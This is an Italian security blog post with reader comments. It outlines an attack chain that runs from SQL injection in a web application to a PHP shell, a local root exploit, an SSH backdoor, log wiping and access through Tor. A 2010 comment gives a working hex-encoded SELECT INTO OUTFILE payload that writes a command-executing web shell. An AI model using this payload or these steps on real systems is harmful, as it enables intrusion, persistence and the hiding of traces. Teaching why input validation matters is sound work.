Un sistema di sicurezza è forte quanto l’anello più debole. Trovare un punto debole e sfruttarlo in modo adeguato può portare alla sconfitta totale del sistema di sicurezza stesso.
Un piccolo bug in una web-application può spalancare le porte ad una compromissione più profonda del sistema. Il pirata, una volta ottenuto l’accesso ad un sistema, può attaccare una rete dall’interno, trovare e sfruttare relazioni di fiducia e penetrare sistemi collegati altrimenti irraggiungibili. Per questo motivo la sql-injection e gli altri bug delle web-application non dovrebbero essere sottovalutati: si rischia un devastante effetto domino.
Un interessante documento reperibile su Milw0rm, “From Boot to Remote Root” illustra in modo magistrale questo processo.
Prima di proseguire è bene chiarire che un attacco sql-injection consiste nello sfruttare una mancata validazione dell’input fornito dall’utente alla web-application. Sfruttando questo varco il pirata ha la facoltà di inserire codice Sql e sovvertire la logica predefinita, forzando il sistema a piegarsi alle proprie volontà. Sql è il linguaggio utilizzato per interrogare le basi dati. Sovvertendo la logica di questi script è possibile anche reperire le password (cifrate) memorizzate nel database stesso. Si tratta di una delle più diffuse tecniche dihacking degli ultimi tempi.
Vediamo i punti salienti dell’attacco:
- Viene identificata una sql-injection in una web-application
- Tramite questo bug si identificano gli utenti e si prelevano gli hash delle password
- Si cracca la password e si accede al pannello di controllo come admin
- Upload di una shell php come C99 per interagire col sistema
- Scalare i privilegi, ottenere quelli di root per il controllo totale
- Si identifica il tipo di sistema operativo: nell’esempio RedHat Linux 5, kernel 2.6.22
- Si cerca un exploit locale: Linux vmsplice Local Root Exploit
- Lo si carica sul sistema remoto, si compila e si esegue
- Si ottengono i privilegi root: controllo assoluto!
- A questo punto si aggiunge un utente ssh per accessi successivi (backdoor)
- Si ripuliscono i log e le tracce dell’hackeraggio
- Gli accessi successivi vengono effettuati con l’utente backdoor tramite Tor
Tutto questo a causa di una maldestra gestione dell’input utente!
A Caccia di Sottodomini con Knock
Un volta identificato un obiettivo, l’hacker ha la necessità di trovare un punto debole, un punto... PillolHacking.Net: I Migliori Articoli di Marzo 2009
Anche questa mese propongo l'elenco di quelli che a mio avviso sono stati i migliori articoli di PillolHacking.Net... SQL-Injection in Joomla DigiFolio Component 1.52
Il componente Joomla "DigiFolio" versione 1.52 è vulnerabile ad un attacco SQL-Injection. DigiFolio... E’ craccabile una rete wireless protetta da WPA/WPA2?
La debolezza del protocollo WEP è assai nota. Per chi volesse cimentarsi nel cracking della propria...

















mar 11, 2009 at 09:27:05
Wow! Come si fa a vedere se un sito è affetto da questo bug?
mar 12, 2009 at 15:17:40
Analisi dei sorgenti, fuzzing, a manina… Argomento buono per un articolo di approfondimento. Grazie x l’idea
mar 12, 2009 at 15:35:54
Olè Olè! Figurati
mar 14, 2009 at 12:33:38
Ho letto l’articolo su milw0rm molto interessante, posso chiederti che siti visiti abitualmente per tenerti aggiornato?
ciao grazie
mar 14, 2009 at 15:33:24
Tra i principali:
http://packetstormsecurity.org/
http://neworder.box.sk/
http://secunia.com/
http://www.securiteam.com/
e poi molti altri tra siti e blog
mar 24, 2009 at 21:22:53
mar 26, 2009 at 21:21:31
@Roc: grazie
feb 22, 2010 at 13:06:02
I passaggi dal 2 al 4 sono inutili
Tramite il costrutto MySQL (e corrispettivi MSSQL, ecc ecc) :
SELECT ‘testo’ INTO OUTFILE ‘percorso del file’
si può creare un file (dentro una directory scrivibile ovviamente) con del contenuto arbitrario, ad esempio può tornare utile :
SELECT ” INTO OUTFILE ‘/htdocs/sito.it/www/shell.php’
Ovviamente nel caso in cui le magic quotes fossero attivate, le stringhe possono tranquillamente essere codificate in esadecimale per aggirare il problema degli apici, di conseguenza la precedente query diventerebbe :
SELECT 0x3c3f70687020706173737468727528245f4745545b27636d64275d293b203f3e INTO OUTFILE 0x2f6874646f63732f7369746f2e69742f7777772f7368656c6c2e706870
In questo modo avremo una shell a prescindere dal tipo di web application che stiamo exploitando (dato che non tutte le webapp danno la possibilità di uppare file php) e senza dover “faticare” per crackare eventuali hash della password dell’amministratore.
Un altra funzione molto interessante di MySQL è la LOAD_FILE
feb 22, 2010 at 13:07:53
opz, nella prima query wp mi ha segato il codice php, cmq era un semplice
passthru($_GET['cmd']);
^^